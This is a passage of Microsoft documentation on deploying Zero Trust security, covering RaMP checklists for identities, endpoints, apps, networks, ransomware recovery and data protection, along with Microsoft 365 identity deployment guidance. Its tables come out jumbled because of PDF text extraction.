these applications with Microsoft Entra ID and include these in your MFA and
Conditional Access policies.
The Microsoft Entra application gallery is a collection of software as a service (SaaS)

applications that have been pre-integrated with Entra ID. All you need to do is find the
application in the gallery and add it to your environment. Then, the application will be
available for you to include in the scope of your MFA and Conditional Access rules. See
Overview of the Microsoft Entra application gallery.
After you add SaaS apps to your environment, these apps will automatically be
protected with Microsoft Entra MFA and the other protections provided by security
defaults. If you're using Conditional Access policies instead of security defaults, you
need to add these apps to the scope of your Conditional Access and related policies.
See Turn on MFA in Microsoft 365 Business Premium.
Microsoft Entra ID determines when a user will be prompted for MFA based on factors
such as location, device, role, and task. This functionality protects all applications
registered with Microsoft Entra ID, including SaaS applications. See Require users to do
MFA when necessary.
ﾉ Expand table
Zero Trust Met by

principle
Verify explicitly All SaaS apps you add require MFA for access.
Use least Users must meet authentication requirements to use apps that access
privileged access company data.
Assume breach Factors, such as location, device, role, and task are considered when users
are authenticated. MFA is used when necessary.

organization.
Documentation set
ﾉ Expand table
Zero Trust Rapid Modernization Plan Quickly implement key layers Security architects and
(RaMP) for project management of Zero Trust protection. IT implementers
Microsoft 365 for stepped and detailed to your Microsoft 365 tenant. staff
design and deployment guidance
deployment guidance
design guidance for technology areas to partner Microsoft cloud teams, and security
and specializations solutions. staff
Develop using Zero Trust principles for Apply Zero Trust protections Application developers
Your role
ﾉ Expand table
IT implementer
Microsoft 365
Feedback
Zero Trust Rapid Modernization Plan
Article • 04/12/2024
As an alternative to deployment guidance that provides detailed configuration steps for

each of the technology pillars being protected by Zero Trust principles, Rapid
Modernization Plan (RaMP) guidance is based on initiatives and gives you a set of
deployment paths to more quickly implement key layers of protection.
RaMP guidance takes a project management and checklist approach:
By providing a suggested mapping of key stakeholders, implementers, and their

accountabilities, you can more quickly organize an internal project and define the
tasks and owners to drive them to conclusion.
By providing a checklist of deployment objectives and implementation steps, you
can see the bigger picture of infrastructure requirements and track your progress.
RaMP initiatives for Zero Trust

To rapidly adopt Zero Trust in your organization, RaMP offers technical deployment
guidance organized in these initiatives.
ﾉ Expand table
Initiative Steps
Top priority Critical security modernization initiatives:
1. Explicitly validate trust for all access requests
Identities
Endpoints (devices)
Apps
User access and Network
productivity
2. Ransomware recovery readiness

3. Data
Data, compliance,
and governance
Initiative Steps
Modernize security
operations 4. Streamline response
5. Unify visibility
6. Reduce manual effort
As needed Additional initiatives based on Operational Technology (OT) or IoT usage,

on-premises and cloud adoption, and security for in-house app
development:
OT and Industrial Discover

IoT Protect
Monitor
Datacenter & Security Hygiene

DevOps Security Reduce Legacy Risk
DevOps Integration
Microsegmentation
Here is the overall architecture for Zero Trust.
Policy Optimization
Governance
Compliance
Data
Identities
Human
Non-human
Apps
SaaS
Evaluation Public
On-premises
Enforcement Private
Personal Containers
IaaS
Threat Protection
Paas
Internal Sites
Threat Intelligence
Forensics
Response Automation

The RaMP initiatives for Zero Trust address all of the elements of this architecture. As
you step through the initiatives, we'll show which parts are being covered.
Next step
Begin your Zero Trust RaMP deployment journey with User access and productivity.
organization.
Documentation set
ﾉ Expand table
Zero Trust for small businesses Apply Zero Trust principles to Customers and partners
small business customers. working with Microsoft
365 for business
guidance
deployment guidance
Develop using Zero Trust principles for Apply Zero Trust protections Application developers
Your role
ﾉ Expand table
IT implementer
business
Microsoft 365
Feedback
RaMP Checklist — Explicitly validate
trust for all access requests
Article • 04/12/2024
This Rapid Modernization Plan (RaMP) checklist helps you establish a security perimeter
for cloud applications and mobile devices that uses identity as the control plane and
explicitly validates trust for user accounts and devices before allowing access, for both
public and private networks.
To be productive, your employees (users) must be able to use:
Their account credentials to verify their identity.

Their endpoint (device), such as a PC, tablet, or phone.
The applications you have provided them to do their jobs.
A network over which traffic flows between devices and applications, whether they
are on premises or in the cloud.
Each one of these elements are the targets of attackers and must be protected with the
"never trust, always verify" central principle of Zero Trust.
This checklist includes using Zero Trust to explicitly validate trust for all access requests
for:
Identities
Endpoints (devices)
Apps
Network
After completing this work, you will have built out this part of the Zero Trust
architecture.

Identities
Verify and secure each identity with strong authentication across your entire digital
estate with Microsoft Entra ID, a complete identity and access management solution
with integrated security that connects hundreds of millions of people to their apps,
devices, and data each month.
Program and project member accountabilities

This table describes the overall protection of your user accounts in terms of a
sponsorship/program management/project management hierarchy to determine and
drive results.
ﾉ Expand table
Lead Owner Accountability
CISO, CIO, or Director of Identity Executive sponsorship

Security
Program lead from Identity Drive results and cross-team

Security or Identity Architect collaboration
Security Architect Advise on configuration and

standards
Identity Security or an Implement configuration

Identity Architect changes
Identity Admin Update standards and policy

documents
Security Governance or Monitor to ensure compliance

Identity Admin
User Education Team Ensure guidance for users

reflects policy updates
Deployment objectives
Meet these deployment objectives to protect your privileged identities with Zero Trust.
ﾉ Expand table
Done Deployment objective Owner Documentation
1. Deploy secured privileged access to IT Securing privileged access for

protect administrative user accounts. implementer hybrid and cloud
deployments in Microsoft
Entra ID
2. Deploy Microsoft Entra Privileged IT Plan a Privileged Identity

Identity Management (PIM) for a time- implementer Management deployment
bound, just-in-time approval process for
the use of privileged user accounts.
Meet these deployment objectives to protect your user identities with Zero Trust.
ﾉ Expand table
1. Enable self-service password reset IT implementer Plan a Microsoft Entra self-

(SSPR), which gives you credential service password reset
reset capabilities deployment
2. Enable multifactor authentication IT implementer Plan a Microsoft Entra

(MFA) and select appropriate multifactor authentication
methods for MFA deployment
3. Enable combined User Registration IT implementer Enable combined security

for your directory to allow users to information registration in
register for SSPR and MFA in one step Microsoft Entra ID
4. Configure a Conditional Access IT implementer How To: Configure the

policy to require MFA registration. Microsoft Entra multifactor
authentication registration
policy
5. Enable user and sign-in risk-based IT implementer How To: Configure and enable
policies to protect user access to risk policies
resources.
6. Detect and block known weak IT implementer Eliminate bad passwords using
passwords and their variants and Microsoft Entra Password
block additional weak terms specific Protection
to your organization.
7. Deploy Microsoft Defender for Security Microsoft Defender for Identity

Identity and review and mitigate any operations
open alerts (in parallel with your team
security operations).
8. Deploy passwordless credentials. IT implementer Plan a passwordless

authentication deployment in
Microsoft Entra ID
You have now built out the Identities section of the Zero Trust architecture.
Endpoints
Ensure compliance and health status before granting access to your endpoints (devices)
and gain visibility into how they are accessing the network.
This table describes the overall protection of your endpoints in terms of a
drive results.
ﾉ Expand table

Identity Security
Program lead from Identity Drive results and cross-team

Security or an Identity collaboration
Architect
Security Architect Advise on configuration and

standards
Identity Security or an Implement configuration

Infrastructure Security Architect changes
Mobile device management Update standards and policy

(MDM) Admin documents
Security Governance or MDM Monitor to ensure compliance

Admin
User Education Team Ensure guidance for users

reflects policy updates
Meet these deployment objectives to protect your endpoints (devices) with Zero Trust.
ﾉ Expand table
1. Register devices with Microsoft Entra MDM Device identities

ID. Admin
2. Enroll devices and create MDM Device management overview

configuration profiles. Admin
3. Connect Defender for Endpoint to Identity Configure Microsoft Defender

Intune (in parallel with your security Security for Endpoint in Intune
operations). Admin
4. Monitor device compliance and risk Identity Use compliance policies to set
for Conditional Access. Security rules for devices you manage
Admin with Intune
5. Implement a Microsoft information Identity Use sensitivity labels to protect

protection solution and integrate with Security content
Conditional Access policies. Admin
You have now built out the Endpoints section of the Zero Trust architecture.
Apps
Because apps are used by malicious users to infiltrate your organization, you need to
ensure that your apps are using services, such as Microsoft Entra ID and Intune, that
provide Zero Trust protection or are hardened against attack.

This table describes a Zero Trust implementation for apps in terms of a
drive results.
ﾉ Expand table

Application Security
Program lead from Apps Drive results and cross-team collaboration

Management
Identity Architect Advise on Microsoft Entra configuration for

apps
Update authentication standards for on-
premises apps
Developer Advise on configuration and standards for in-

Architect house on-premises and cloud apps
Network Implement VPN configuration changes

Architect
Cloud Network Deploy Microsoft Entra application proxy

Architect
Security Monitor to ensure compliance

Governance
Meet these deployment objectives to ensure Zero Trust protection for your Microsoft
cloud apps, third-party SaaS apps, custom PaaS apps, and on-premises apps.
ﾉ Expand table
Done Type of app or app Deployment objectives Owner Documentation

usage
Third-party SaaS Microsoft Entra app Identity Application

apps and custom registration uses Microsoft Architect management in
PaaS apps that are Entra authentication, Microsoft Entra ID
registered with certification, and app consent
Microsoft Entra ID policies.
Use Microsoft Entra

Conditional Access policies
and Intune MAM and
Application Protection Policies
(APP) policies to allow app
usage.
usage
Cloud apps that are Use app governance in Security Overview

OAuth-enabled and Microsoft Defender for Cloud Engineer
registered in Apps for app behavior
Microsoft Entra ID, visibility, governance with
Google, and policy enforcement, and
Salesforce detection and remediation of
app-based attacks.
Third-party SaaS Register them with Microsoft Apps Integrating all your
apps and custom Entra ID for authentication, Architect apps with Microsoft
PaaS apps that are certification, and app consent Entra ID
NOT registered with policies.
Microsoft Entra ID
Use Microsoft Entra
and Intune MAM and APP
policies.
On-premises users Ensure that your apps support Identity See your vendor
accessing on- modern authentication Architect documentation
premises protocols such as OAuth/OIDC
applications, which and SAML. Contact your
includes application vendor for updates
applications to protect user sign-in.
running on both
on-premises and
IaaS-based servers
Remote users Configure your VPN appliance Network See your vendor
accessing on- so that it uses Microsoft Entra Architect documentation
premises ID as its identity provider
applications
through a VPN
connection
Remote users Publish the applications Cloud Remote access to

accessing on- through Microsoft Entra Network on-premises
premises web application proxy. Remote Architect applications through
applications users only need to access the Microsoft Entra
through a VPN individual published application proxy
connection application, which is routed to
the on-premises web server
through an application proxy
connector.
Connections take advantage

of strong Microsoft Entra
usage
authentication and limits users

and their devices to accessing
a single application at a time.
In contrast, the scope of a
typical remote access VPN is
all locations, protocols, and
ports of the entire on-
premises network.
After completing these deployment objectives, you will have built out the Apps section
of the Zero Trust architecture.
Network
The Zero Trust model assumes breach and verifies each request as though it originated
from an uncontrolled network. Although this is a common practice for public networks,
it also applies to your organization’s internal networks which are generally firewalled
from the public Internet.
To adhere to Zero Trust, your organization must address security vulnerabilities on both
public and private networks, whether on-premises or in the cloud, and ensure that you
verify explicitly, use least privilege access, and assume breach. Devices, users, and apps
are not to be inherently trusted because they are on your private networks.

This table describes a Zero Trust implementation for public and private networks in
terms of a sponsorship/program management/project management hierarchy to
determine and drive results.
ﾉ Expand table

Network Security

Networking Leadership
Security Architect Advise on encryption and access policy

configuration and standards
Network Architect Advise on traffic filtering and network

architecture changes
Network Design segmentation configuration changes

Engineers
Network Change networking equipment configuration

Implementers and update configuration documents
Networking Monitor to ensure compliance

Governance
Meet these deployment objectives to ensure Zero Trust protection for your public and
private networks, for both on-premises and cloud-based traffic. These objectives can be
done in parallel.
ﾉ Expand table
Require encryption for all traffic Security Azure IaaS components

connections, including between IaaS Architect
components and between on- IPsec for on-premises Windows
premises users and apps. devices
Limit access to critical data and Security Access policies for Defender
applications by policy (user or device Architect or for Cloud Apps Conditional
identity) or traffic filtering. Network Access App Control
Architect
Windows Firewall for Windows
devices
Deploy on-premises network Network See your on-premises network

segmentation with ingress and egress Architect or and edge devices
traffic controls with micro-perimeters Network documentation.
and micro-segmentation. Engineer
Use real-time threat detection for on- SecOps Windows threat protection
premises traffic. Analysts
Microsoft Defender for
Endpoint
Deploy cloud network segmentation Network Recommendations for

with ingress and egress traffic Architect or networking and connectivity
controls with micro-perimeters and Network
micro-segmentation. Engineer
Use real-time threat detection for Network Azure Firewall threat

cloud traffic. Architect or intelligence-based filtering
Network
Engineer Azure Firewall Premium
network intrusion detection
and prevention system (IDPS)
After completing these deployment objectives, you will have built out the Network
section of the Zero Trust architecture.

Next step
Continue the user access and productivity initiative with Data, Compliance, and
Governance.
Feedback
RaMP checklist—Ransomware recovery
readiness
Article • 04/12/2024
This Rapid Modernization Plan (RaMP) checklist helps you prepare your organization so
you have a viable alternative to paying the ransom demanded by ransomware attackers.
While attackers in control of your organization have a variety of ways to pressure you
into paying, the demands primarily focus on two categories:
Pay to regain access
Attackers demand payment under the threat that they won’t give you back access
to your systems and data. This is most frequently done by encrypting your systems
and data and demanding payment for the decryption key.
） Important
Paying the ransom isn’t as simple and clean of a solution as it may seem.
Because you're dealing with criminals that are only motivated by payment
(and often relatively amateur operators who are using a toolkit provided by
someone else), there is a lot of uncertainty around how well paying the
ransom will actually work. There is no legal guarantee that they will provide a
key that decrypts 100% of your systems and data, or even provide a key at all.
The process to decrypt these systems uses homegrown attacker tools, which
is often a clumsy and manual process.
Pay to avoid disclosure
Attackers demand payment in exchange for not releasing sensitive or

embarrassing data to the dark web (other criminals) or the general public.
To avoid being forced into payment (the profitable situation for attackers), the most
immediate and effective action you can take is to ensure your organization can restore
your entire enterprise from immutable storage that hasn't already been infected or
encrypted by a ransomware attack, which neither the attacker nor you can modify.
Identifying the most sensitive assets and protecting them at a higher level of assurance
is also critically important but is a longer and more challenging process to execute. We
don’t want you to hold up other areas, but we recommend you get the process started
by bringing together business, IT, and security stakeholders to ask and answer questions
like:
What business assets would be the most damaging if compromised? For example,
what assets would business leadership be willing to pay an extortion demand if
attackers controlled them?
How do these business assets translate to IT assets such as files, applications,
databases, and servers?
How can you protect or isolate these assets so that attackers with access to the
general IT environment can’t access them?
Secure backups
You must ensure that critical systems and their data are backed up and are immutable to
protect against deliberate erasure or encryption by an attacker. The backups must have
not already been infected or encrypted by a ransomware attack, otherwise you're
restoring a set of files that could contain entry points for the attackers to exploit after
the recovery.
Attacks on your backups focus on crippling your organization’s ability to respond

without paying, frequently targeting backups and key documentation required for
recovery to force you into paying extortion demands.
Most organizations don’t protect backup and restoration procedures against this level
of intentional targeting.
７ Note
This preparation also improves resilience to natural disasters and rapid attacks like
WannaCry and (Not)Petya.
Backup and restore plan to protect against ransomware addresses what to do before an
attack to protect your critical business systems and during an attack to ensure a rapid
recovery of your business operations using Azure Backup and other Microsoft cloud
services. If you're using an offsite backup solution provided by a third-party, please
consult their documentation.

This table describes the overall protection of your data from ransomware in terms of a
drive results.
ﾉ Expand table
Central IT Operations or Executive sponsorship

CIO
Program lead from Drive results and cross-team

Central IT infrastructure collaboration
Infrastructure/Backup Enable Infrastructure backup

Engineer
Microsoft 365 Admins Implement changes to your Microsoft

365 tenant for OneDrive and Protected
Folders
Security Engineer Advise on configuration and standards
Security Governance Monitor to ensure compliance

and/or IT Admin
User Education Team Ensure guidance for users recommends

the use of OneDrive and Protected
Folders
Meet these deployment objectives to secure your backup infrastructure.
ﾉ Expand table
Done Deployment objective Owner
1. Protect supporting documents required for recovery such as IT architect or

restoration procedure documents, your configuration implementer
management database (CMDB), and network diagrams.
2. Establish process to back up all critical systems automatically IT backup

on a regular schedule and monitor adherence. administrator
3. Establish process and schedule to regularly exercise your IT architect

business continuity/disaster recovery (BCDR) plan.
4. Include protecting backups against deliberate erasure and IT backup

encryption in your backup plan: administrator
- Strong Protection – Require out-of-band steps (such as

multifactor authentication or a PIN) before modifying online
backups (such as Azure Backup).
- Strongest Protection – Store backups in online immutable

storage (such as Azure Blob) and/or fully offline or off-site.
5. Have your users configure OneDrive backup and Protected Microsoft 365
Folders. productivity
administrator
Next step
Continue the data, compliance, and governance initiative with Step 3. Data.
Feedback
RaMP checklist — Data protection
Article • 04/12/2024
This Rapid Modernization Plan (RaMP) checklist helps you protect your on-premises and
cloud data from both inadvertent and malicious access.
Inadvertent access occurs when a user gains access to data that, based on their
roles and responsibilities, they should not have. The result can be unintended data
leakage, data destruction, or violations of data security and privacy regulations.
Malicious access occurs when an external attacker or a malicious insider

intentionally tries to access data. Malicious insiders can use your data for profit or
to harm your organization. External attackers can delete, alter, exfiltrate, and
encrypt your most sensitive data, leaving you open to a ransomware attack.
For both types of attacks, you must take the necessary steps to identify your data,
protect it, prevent its destruction or exfiltration, and ensure that only users with a
business purpose have access to it.
Protecting your data is part of the "assume breach" Zero Trust principle. Even with all the
user account and device protections in place, you must assume that an attacker could
find their way in and begin traversing your environment, searching for the most valuable
data for your organization.
Therefore, you must:
Know your data
Understand your data landscape and identify important information across your
cloud and on-premises environment.
Protect your data
Protect your sensitive data throughout its lifecycle by applying sensitivity labels
linked to protection actions like encryption, access restrictions, visual markings,
and more.
Prevent data loss
Apply a consistent set of data loss prevention policies across the cloud, on-
premises environments, and endpoints to monitor, prevent, and remediate risky
activities with sensitive data.
Use least privilege access

Apply minimal permissions consisting of who is allowed to access and what they
are allowed to do with data to meet business and productivity requirements.

This table describes the overall protection of your organization data in terms of a
drive results.
ﾉ Expand table
CISO, CIO, or Executive sponsorship

Director of Data
Security
Program lead from Drive results and cross-team

Data Security collaboration
Security Architect Advise on configuration and standards
Microsoft 365 Admins Implement changes to Microsoft 365

tenant for OneDrive and Protected
Folders
Data Security Engineer and/or Enable infrastructure backup

Infrastructure Security Engineer
Application Owners Identify critical business assets
Data Security Admin Implement configuration changes
Security Governance and/or IT Monitor to ensure compliance

Admin
User Education Team Ensure guidance for users reflects policy

updates
Meet these deployment objectives to protect your data for Zero Trust.
ﾉ Expand table
1. Know your data Data Security Architect
2. Protect your data Data Security Engineer
3. Prevent data loss Data Security Engineer
4. Use least privilege access Data Security Engineer
1. Know your data

Perform these implementation steps to meet the Know your data deployment objective.
ﾉ Expand table
Done Implementation step Owner Documentation
1. Determine data classification levels. Data Security Architect Learn about
2. Determine built-in and custom Data Security Architect Learn about

sensitive information types.
3. Determine the use of pre-trained Data Security Architect Learn about

and custom trainable classifiers.
4. Discover and classify sensitive data. Data Security Architect Learn about
and/or Data Security
Engineer
2. Protect your data

Perform these implementation steps to meet the Protect your data deployment
objective.
ﾉ Expand table
1. Determine the use and design of Security Get started

sensitivity labels. Architect
2. Label and protect items for Microsoft Data Security Manage sensitivity labels
365 apps and services. Engineer
3. Enable and configure Microsoft Data Security Get started

Defender for Cloud Apps. Engineer
4. Discover, label, and protect sensitive Data Security Best practices

items that reside in data stores in the Engineer
cloud.
5. Discover, label, and protect sensitive Data Security Information protection

items that reside in on-premises data Engineer scanner
stores.
6. Extend your sensitivity labels to Azure by Data Security Labeling in the Microsoft
using Microsoft Purview Data Map Engineer Purview Data Map
3. Prevent data loss

Perform these implementation steps to meet the Prevent data loss deployment
objective.
ﾉ Expand table
1. Design and create data loss prevention (DLP) Security Learn about
policies. Architect
2. Enable and configure endpoint data loss Data Security Learn about
prevention. Engineer
3. Configure access policies for Microsoft Defender Data Security Overview

for Cloud Apps Conditional Access App Control. Engineer
4. Use least privilege access

Perform these implementation steps to ensure that your users and admins meet the Use
least privilege access deployment objective.
ﾉ Expand table
Done Implementation step Owner
1. From the Know your data deployment objective, review Data Security Engineer
the permissions for the locations of sensitive and critical
information.
2. Implement minimal permissions for the sensitive and Data Security Engineer
critical information while meeting collaboration and business
Done Implementation step Owner
requirements and inform the users who are affected.
3. Perform change management for your employees so that User Education Team
future locations for sensitive and critical information are
created and maintained with minimal permissions.
4. Audit and monitor the locations for sensitive and critical Data Security Engineer
information to ensure that broad permissions aren't being and/or Security
granted. Governance Admin
Results
After completing these deployment objectives, you will have built out the Data section
of the Zero Trust architecture.
Feedback
Zero Trust deployment plan with
Microsoft 365
Article • 04/09/2024
This article provides a deployment plan for building Zero Trust security with Microsoft
365. Zero Trust is a new security model that assumes breach and verifies each request as
always verify."
Use this article together with this poster.
ﾉ Expand table
Item Description
Related solution guides
Deploy your identity infrastructure for Microsoft

365
Recommended identity and device access
configurations
Manage devices with Intune
Evaluate and pilot Microsoft Defender XDR
Deploy an information protection solution with
PDF | Visio
Microsoft Purview
Updated March 2024
Deploy information protection for data privacy
regulations with Microsoft 365
Zero Trust security architecture

A Zero Trust approach extends throughout the entire digital estate and serves as an
integrated security philosophy and end-to-end strategy.
This illustration provides a representation of the primary elements that contribute to

Zero Trust.

In the illustration:
Security policy enforcement is at the center of a Zero Trust architecture. This

includes multifactor authentication with Conditional Access that takes into account
user account risk, device status, and other criteria and policies that you set.
Identities, devices, data, apps, network, and other infrastructure components are all
configured with appropriate security. Policies that are configured for each of these
components are coordinated with your overall Zero Trust strategy. For example,
device policies determine the criteria for healthy devices and Conditional Access
policies require healthy devices for access to specific apps and data.
Threat protection and intelligence monitors the environment, surfaces current
risks, and takes automated action to remediate attacks.
For more information about Zero Trust, see Microsoft's Zero Trust Guidance Center.
Deploying Zero Trust for Microsoft 365

Microsoft 365 is built intentionally with many security and information protection
capabilities to help you build Zero Trust into your environment. Many of the capabilities
can be extended to protect access to other SaaS apps your organization uses and the
data within these apps.
This illustration represents the work of deploying Zero Trust capabilities. This work is
broken into units of work that can be configured together, starting from the bottom and
working to the top to ensure that prerequisite work is complete.
SharePoint sites,
Microsoft 365
Teams, Power BI, Microsoft Defender
productivity apps:
Exchange for Cloud Apps
§ Word Endpoint devices:
§ Excel Windows & macOS (SaaS application
On-premises file
§ PowerPoint data classification
shares and
Protect and SharePoint Server
§ Outlook and protection)
govern
Pilot and deploy classification, labeling, information protection, and data loss prevention (DLP)
sensitive
data Create auto labeling rules Create DLP policies
Review/add sensitive information types and create

Define data handling standards
sensitivity labels
Define data sensitivity schema
Monitor device risk Create Defender for

and compliance of Cloud Apps policies to
devices to security protect access and use
baselines of SaaS apps
Defend
Defender for Office Defender for Defender for Cloud
against threats Defender for Identity
365 Endpoint Apps
Pilot and deploy Microsoft 365 Defender XDR
Deploy Intune configuration profiles to harden devices against threats
Configure Enterprise (recommended) Zero Trust identity and device access policies
Configure compliance policies

To be sure devices meet minimum requirements
Enroll devices into management

Zero trust
foundation
Configure Starting point Zero Trust identity
and device access policies Add SaaS apps to Microsoft Entra and include
Turn on Multi-Factor Authentication (MFA) and these in the scope of MFA policies
configure Intune app protection policies that don’t
require managing devices
Configure cloud identity: cloud only, hybrid with Password Hash Synchronization (PHS),
hybrid with Pass-Through Authentication (PTA), or federated
Microsoft 365 Zero Trust deployment stack 

Identity Devices Security operations Information protection & governance
In this illustration:
Zero Trust begins with a foundation of identity and device protection.

Threat protection capabilities are built on top of this foundation to provide real-
time monitoring and remediation of security threats.
Information protection and governance provide sophisticated controls targeted at
specific types of data to protect your most valuable information and to help you
comply with compliance standards, including protecting personal information.
This article assumes you are using cloud identity. If you need guidance for this objective,
see Deploy your identity infrastructure for Microsoft 365.
 Tip
When you understand the steps and the end-to-end deployment process, you can
use the Set up your Microsoft Zero Trust security model advanced deployment
guide when signed in to the Microsoft 365 admin center. This guide steps you
through applying Zero Trust principles for standard and advanced technology
pillars. To step through the guide without signing in, go to the Microsoft 365 Setup
portal .
Step 1: Configure Zero Trust identity and device

access protection: Starting-point policies
The first step is to build your Zero Trust foundation by configuring identity and device
access protection.
Go to Zero Trust identity and device access protection for detailed prescriptive
guidance. This series of articles describes a set of identity and device access prerequisite
configurations and a set of Microsoft Entra Conditional Access, Microsoft Intune, and
other policies to secure access to Microsoft 365 for enterprise cloud apps and services,
other SaaS services, and on-premises applications published with Microsoft Entra
application proxy.
ﾉ Expand table
Includes Prerequisites Doesn't include
Recommended identity and Microsoft E3 or E5 Device enrollment for policies

device access policies for three that require managed devices.
levels of protection: Microsoft Entra ID in either See Step 2. Manage endpoints
Starting point of these modes: with Intune to enroll devices
Enterprise (recommended) Cloud-only

Specialized Hybrid with password
hash sync (PHS)
authentication
Additional recommendations for: Hybrid with pass-
through
External users (guests)
authentication (PTA)
Microsoft Teams
Federated
SharePoint Online
Cloud Apps
Start by implementing the starting-point tier. These policies don't require enrolling
devices into management.

Require multi-factor Block clients that High risk users must

to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)

Step 2: Manage endpoints with Intune

Next, enroll your devices into management and begin protecting them with more
sophisticated controls.

See Manage devices with Intune for detailed prescriptive guidance.
ﾉ Expand table
Enroll devices with Intune: Register endpoints Configuring information protection

Corporate-owned with Microsoft Entra ID capabilities, including:
devices Sensitive information types
Autopilot/automated Labels
enrollment DLP policies
Configure policies: For these capabilities, see Step 5. Protect

and govern sensitive data (later in this
App Protection article).
policies
Compliance policies
Device profile policies
For more information, see Zero Trust for Microsoft Intune.
Step 3: Add Zero Trust identity and device

access protection: Enterprise policies
With devices enrolled into management, you can now implement the full set of
recommended Zero Trust identity and device access policies, requiring compliant
devices.

Return to Common identity and device access policies and add the policies in the
Enterprise tier.


to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)

Step 4: Evaluate, pilot, and deploy Microsoft

Defender XDR
Microsoft Defender XDR is an extended detection and response (XDR) solution that
automatically collects, correlates, and analyzes signal, threat, and alert data from across
your Microsoft 365 environment, including endpoint, email, applications, and identities.

Go to Evaluate and pilot Microsoft Defender XDR for a methodical guide to piloting
and deploying Microsoft Defender XDR components.
ﾉ Expand table
Set up the evaluation See the guidance to read about Microsoft Entra ID Protection isn't
and pilot environment the architecture requirements included in this solution guide. It's
for all components: for each component of included in Step 1. Configure Zero
Defender for Microsoft Defender XDR. Trust identity and device access
Identity protection.
Defender for
Office 365
Defender for
Endpoint
Microsoft
Defender for
Cloud Apps
Protect against threats
Investigate and respond

to threats
For more information, see these additional Zero Trust articles:
Defender for Endpoint

Defender for Office 365
Defender for Cloud Apps
Defender for Identity
Step 5: Protect and govern sensitive data
Implement Microsoft Purview Information Protection to help you discover, classify, and
protect sensitive information wherever it lives or travels.
Microsoft Purview Information Protection capabilities are included with Microsoft

Purview and give you the tools to know your data, protect your data, and prevent data
loss.
While this work is represented at the top of the deployment stack illustrated earlier in
this article, you can begin this work anytime.
Microsoft Purview Information Protection provides a framework, process, and

capabilities you can use to accomplish your specific business objectives.
For more information on how to plan and deploy information protection, see Deploy a
Microsoft Purview Information Protection solution.
If you're deploying information protection for data privacy regulations, this solution
guide provides a recommended framework for the entire process: Deploy information
protection for data privacy regulations with Microsoft 365.
Feedback
Provide product feedback

Deploy your identity infrastructure for
Microsoft 365
Article • 03/15/2024
Check out all of our small business content on Small business help & learning .
In Microsoft 365 for enterprise, a well-planned and executed identity infrastructure

paves the way for stronger security, including restricting access to your productivity
workloads and their data to only authenticated users and devices. Security for identities
is a key element of a Zero Trust deployment, in which all attempts to access resources
both on-premises and in the cloud are authenticated and authorized.
For information about the identity features of each Microsoft 365 for enterprise, the role
of Microsoft Entra ID, on-premises and cloud-based components, and the most
common authentication configurations, see the Identity Infrastructure poster .
Review this two-page poster to quickly ramp up on identity concepts and configurations
for Microsoft 365 for enterprise.
You can download this poster and can print it in letter, legal, or tabloid (11 x 17)
format.
This solution is the first step to build out the Microsoft 365 Zero Trust deployment stack.
For more information, see the Microsoft 365 Zero Trust deployment plan.
What’s in this solution

This solution steps you through the deployment of an identity infrastructure for your
Microsoft 365 tenant to provide access for your employees and protection against
identity-based attacks.
The steps in this solution are:
1. Determine your identity model.

2. Protect your Microsoft 365 privileged accounts.
3. Protect your Microsoft 365 user accounts.
4. Deploy your identity model.
This solution supports the key principles of Zero Trust :
Verify explicitly: Always authenticate and authorize based on all available data
points.
Use least privilege access: Limit user access with Just-In-Time and Just-Enough-
Access (JIT/JEA), risk-based adaptive policies, and data protection.
Assume breach: Minimize blast radius and segment access. Verify end-to-end
defenses.
Unlike conventional intranet access, which trusts everything behind an organization's

firewall, Zero Trust treats each sign-in and access as though it originated from an
uncontrolled network, whether it's behind the organization firewall or on the Internet.
Zero Trust requires protection for the network, infrastructure, identities, endpoints, apps,
and data.
Microsoft 365 capabilities and features

Microsoft Entra ID provides a full suite of identity management and security capabilities
for your Microsoft 365 tenant.
ﾉ Expand table
Capability or Description Licensing

feature
Multifactor MFA requires users to provide two forms of verification, Microsoft 365 E3
authentication such as a user password plus a notification from the or E5
(MFA) Microsoft Authenticator app or a phone call. MFA greatly
reduces the risk that stolen credentials can be used to
access your environment. Microsoft 365 uses the Microsoft
Entra multifactor authentication service for MFA-based
sign-ins.
Conditional Microsoft Entra ID evaluates the conditions of the user Microsoft 365 E3
Access sign-in and uses Conditional Access policies to determine or E5
the allowed access. For example, in this guidance we show
you how to create a Conditional Access policy to require
device compliance for access to sensitive data. This greatly
reduces the risk that a hacker with their own device and
stolen credentials can access your sensitive data. It also
protects sensitive data on the devices, because the devices
must meet specific requirements for health and security.
Microsoft Entra Conditional Access policies, device management with Microsoft 365 E3
groups Intune, and even permissions to files and sites in your or E5
organization rely on the assignment to user accounts or
Microsoft Entra groups. We recommend you create
Microsoft Entra groups that correspond to the levels of
protection you're implementing. For example, members of
your executive staff are likely higher value targets for
hackers. Therefore, it makes sense to add the user accounts
of these employees to a Microsoft Entra group and assign
feature
this group to Conditional Access policies and other policies

that enforce a higher level of protection for access.
Microsoft Entra Enables you to detect potential vulnerabilities affecting Microsoft 365
ID Protection your organization's identities and configure automated E5, Microsoft
remediation policy to low, medium, and high sign-in risk 365 E3 with the
and user risk. This guidance relies on this risk evaluation to E5 Security add-
apply Conditional Access policies for multifactor on, EMS E5, or
authentication. This guidance also includes a Conditional Microsoft Entra
Access policy that requires users to change their password ID P2 licenses
if high-risk activity is detected for their account.
Self-service Allow your users to reset their passwords securely and Microsoft 365 E3
password reset without help-desk intervention, by providing verification of or E5
(SSPR) multiple authentication methods that the administrator can
control.
Microsoft Entra Detect and block known weak passwords and their variants Microsoft 365 E3
password and additional weak terms that are specific to your or E5
protection organization. Default global banned password lists are
automatically applied to all users in a Microsoft Entra
tenant. You can define additional entries in a custom
banned password list. When users change or reset their
passwords, these banned password lists are checked to
enforce the use of strong passwords.
Next steps
Use these steps to deploy an identity model and authentication infrastructure for your
Microsoft 365 tenant:
1. Determine your cloud identity model.

2. Protect your Microsoft 365 privileged accounts.
3. Protect your Microsoft 365 user accounts.
4. Deploy your cloud identity model: cloud-only or hybrid.
Additional Microsoft cloud identity resources
Manage
To manage your Microsoft cloud identity deployment, see:
User accounts
Licenses
Passwords
Groups
Governance
Directory synchronization
How Microsoft does identity for Microsoft 365

Learn how IT experts at Microsoft manage identities and secure access .
７ Note
This IT Showcase resource is available only in English.
How Contoso did identity for Microsoft 365

For an example of how a fictional but representative multinational organization has
deployed a hybrid identity infrastructure for Microsoft 365 cloud services, see Identity
for the Contoso Corporation.
Feedback

Step 1. Determine your cloud identity
model
Article • 12/28/2023
